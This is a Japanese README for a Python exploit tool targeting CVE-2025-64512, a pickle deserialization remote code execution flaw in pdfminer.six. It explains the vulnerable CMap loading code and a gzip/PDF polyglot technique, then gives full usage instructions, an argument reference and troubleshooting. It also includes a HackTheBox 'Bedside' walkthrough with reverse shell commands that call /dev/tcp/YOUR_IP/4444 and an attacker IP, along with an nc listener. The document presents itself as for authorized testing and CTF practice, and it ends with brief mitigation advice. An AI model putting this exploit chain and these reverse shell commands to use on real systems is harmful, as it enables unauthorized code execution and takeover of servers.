
CVE-2025-64512(pdfminer.sixのpickleデシリアライゼーションRCE)のPython PoC。gzip圧縮されたpickleペイロードとポリグロットPDFを生成し、認可されたテストのためにアップロードポータルへ送信します。
Python 3、標準ライブラリのみ(pip インストール不要)。認可されたセキュリティテストおよび CTF 専用 — 法律およびエンゲージメントの 交戦規則を遵守する責任はあなたにあります。
| CVE | CVE-2025-64512 |
| 影響を受けるバージョン | pdfminer.six < 20251107(20251107 で修正 — CMaps が JSON に) |
| 下流の被害者 | markitdown < 0.1.4、pdfplumber < 0.11.8 |
| 種類 | CWE-502 信頼できないデータのデシリアライズ → 認証不要の RCE |
| 参考 PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (単一ファイルのポリグロット版) |
テスト済みターゲット: https://app.hackthebox.com/machines/Bedside
pdfminer.six は PDF からテキストを抽出するための人気のある Python ライブラリです。PDF フォント
には CMaps が必要です — これは文字コードを Unicode に変換するテーブルであり、pdfminer
はそれらを自身のパッケージ内に gzip 圧縮された pickle(<name>.pickle.gz)として
同梱しています。
CMap がどのようにロードされるかを見てください(pdfminer/cmapdb.py、20251107 より前のすべてのバージョン):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # 唯一のサニタイズ
filename = "%s.pickle.gz" % name # ← 攻撃者が `name` を制御
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← 絶対パス名はディレクトリを無視する!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
3 つの欠陥が重なっています:
name は PDF 自体から来る。 Type0(CID)フォントの /Encoding エントリは
PDF の 名前 であり、攻撃者が完全に制御できます。PDF の名前には生の
/ を含めることができないため、RFC 標準の 16 進エスケープで記述されます: 名前
/#2f#76#61#72#2f… は /var/… にデコードされます。os.path.join の癖。 2 番目の引数が絶対パスの場合、最初の引数は
完全に無視されます。したがって /var/www/site/uploads/shell という名前を指定すると、pdfminer は
自身の CMap ディレクトリではなく /var/www/site/uploads/shell.pickle.gz — ディスク上の 任意の パス — を
参照します。pickle.loads()。 pickle は「この関数を呼び出して
再構築せよ」という命令(__reduce__)を含むことができます。攻撃者のバイト列をデシリアライズする = pdfminer を呼び出した
プロセス内で攻撃者のコードを実行することになります。エクスプロイトの前提条件 — このバグは、方程式の両方の半分を提供する あらゆるアプリケーションで簡単に悪用できます:
{"__reduce__": eval("__import__('os').system('<your command>')")}。/Encoding があなたの pickle の絶対パスを指す Type0 フォントを
使用するページである、最小限だが構造的に有効な PDF を構築します。--mode two (デフォルト) — <name>.pickle.gz をアップロードし、次に <name>.pdf をアップロードします。
ターゲットが PDF 拡張子を持つファイルのみを解析する場合
(例: uploads/*.pdf を glob するウォッチャー)はこれを使用してください。--mode polyglot — 1 つ のファイル <name>.pickle.gz をアップロードします。これは
有効な gzip-pickle かつ 有効な PDF の 両方 です: PDF 全体が gzip
ヘッダーの FCOMMENT フィールドに隠れています(RFC 1952 はコメントを許可します。%PDF- シグネチャは
バイト 10 に位置し、xref オフセットはテーブルが有効なままになるよう事前にシフトされています)。
ターゲットが拡張子に関係なくアップロードされた任意のファイルを PDF として解析する場合
(markitdown スタイルのコンバーター)はこれを使用してください。--verify)、ターゲットの
処理サイクルを待機し(--wait)、コマンドが実行される前に電話をかける ()
を先頭に追加できます — これにより、メインチャネルが
失敗しても実行を証明できます。インストールするものはありません — Python 3.10+(str | None 構文を使用):
chmod +x cve_2025_64512.py
サンプルペイロードを生成し、(脆弱な pdfminer がインポート可能であれば)ターゲットに触れる前に 自分の Python でそれらを実行してチェーンが機能することを証明します:
# セルフテストを脆弱な pdfminer のチェックアウト/ホイール(20251107 より前の任意のもの)に向ける
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
期待される出力は、2 ファイルトリガーとポリグロットの両方で SELFTEST PASS で終わります。
手動でテストすることもできます:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # /tmp/demo.pickle.gz として配置
pdf2txt.py /tmp/demo-trigger.pdf # 脆弱な pdfminer のみ
cat /tmp/pwned # → あなたの uid
# 1. コマンドのコールバックチャネル用のリスナーを起動
nc -lvnp 4444
# 2. エクスプロイトを実行 — アップロードディレクトリ自体を発見させる
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
完全な引数リファレンス:
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # リスナー
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → pdfminer サービスユーザーとしてのシェル(Bedside では: datawrangler、コンテナ内)
pickle.loads、torch.load、
yaml.load はすべて同じバグクラスです。データ専用フォーマット
(JSON、Safetensors、ONNX)を優先してください。X-Powered-By スタイルのヘッダーを無効にし、一般的なエラーを返してください — どちらも Bedside で
材料リストを漏洩させました。--callback| 引数 | 目的 |
|---|
--command | ターゲットで実行するシェルコマンド(必須)。sh -c の下で実行されるため、パイプ/リダイレクト/サブシェルが機能します。 |
--url | マルチパート POST を受信するアップロードエンドポイント。 |
--upload-url | アップロードが --url とは異なる URL に送信される場合に POST ターゲットを上書きします。 |
--field | マルチパートフィールド名(ポータルの HTML <form> を読んでください。一般的: uploadFile、file)。 |
--path | アップロードが配置される 絶対 サーバー側ディレクトリ(例: /var/www/site/uploads)。PDF はここで pickle を指定するため、正確でなければなりません。 |
--leak-path | パスがわからない場合? 不正な形式のコンテンツをアップロードし、ポータルのエラーメッセージからそれをスクレイプします(多くのポータルは宛先を出力します)。 |
--name | 生成されるファイルのベース名(デフォルト shell)。古いファイルを避けるため再実行時はランダム化してください。 |
--mode | two(デフォルト)または polyglot — §2 を参照。 |
--callback URL | コマンドの前に URL への HTTP フェッチを先頭に追加します。python3 -m http.server 8000 を実行してヒットを監視します。実行オラクル。 |
--wait N | アップロード後 N 秒間スリープします — ターゲットの処理ケイデンスに合わせてください(ウォッチャー/cron はしばしば 30 秒ごとにポーリングします。失敗と判断する前に完全なサイクルを待ってください)。 |
--verify /uploads | その後、各アップロードファイルを GET して、PDF が期待する場所に配置されたことを確認します。 |
--timeout、--out-dir、--no-upload、--selftest | HTTP タイムアウト、ローカル出力ディレクトリ、生成のみモード、ローカルリハーサル。 |
| 症状 | 原因 / 修正 |
|---|
アップロード時の MIME type mismatch | ポータルが拡張子だけでなくコンテンツをスニッフィングしています。両方のペイロードは本物の gzip / 本物の PDF です — 切り詰めていないことを確認してください。トリガー は %PDF- で始まる必要があり、pickle は解凍できる必要があります(gzip -t)。 |
| アップロードは OK、何も実行されない | 1) ウォッチャー/cron の完全なサイクルを待つ(--wait 35)。2) pickle が <path>/<name>.pickle.gz で到達可能であることを確認する(--verify)。3) pdfminer を実行しているプロセスがあなたのファイルを 読み取れる ことを確認する。4) 決定的な実行シグナルとして --callback を使用する。 |
| アップロードパスが不明 | --leak-path、または任意の検証エラーをトリガーしてメッセージを読んでください。 |
| ポリグロットがトリガーされない | 解析されるファイルは .pickle.gz で終わる 同じ ファイルでなければなりません。ターゲットが *.pdf アップロードのみを解析する場合は、--mode two を使用してください。 |
ターゲットログの TypeError: type.__new__() argument 3 must be dict | それは成功です — pdfminer があなたの pickle を実行し、その後自身の戻り値でつまずきました。無害です。 |
| ターゲットがパッチ済み | pdfminer ≥ 20251107 は CMaps を JSON からロードします。ここで悪用するものはありません。 |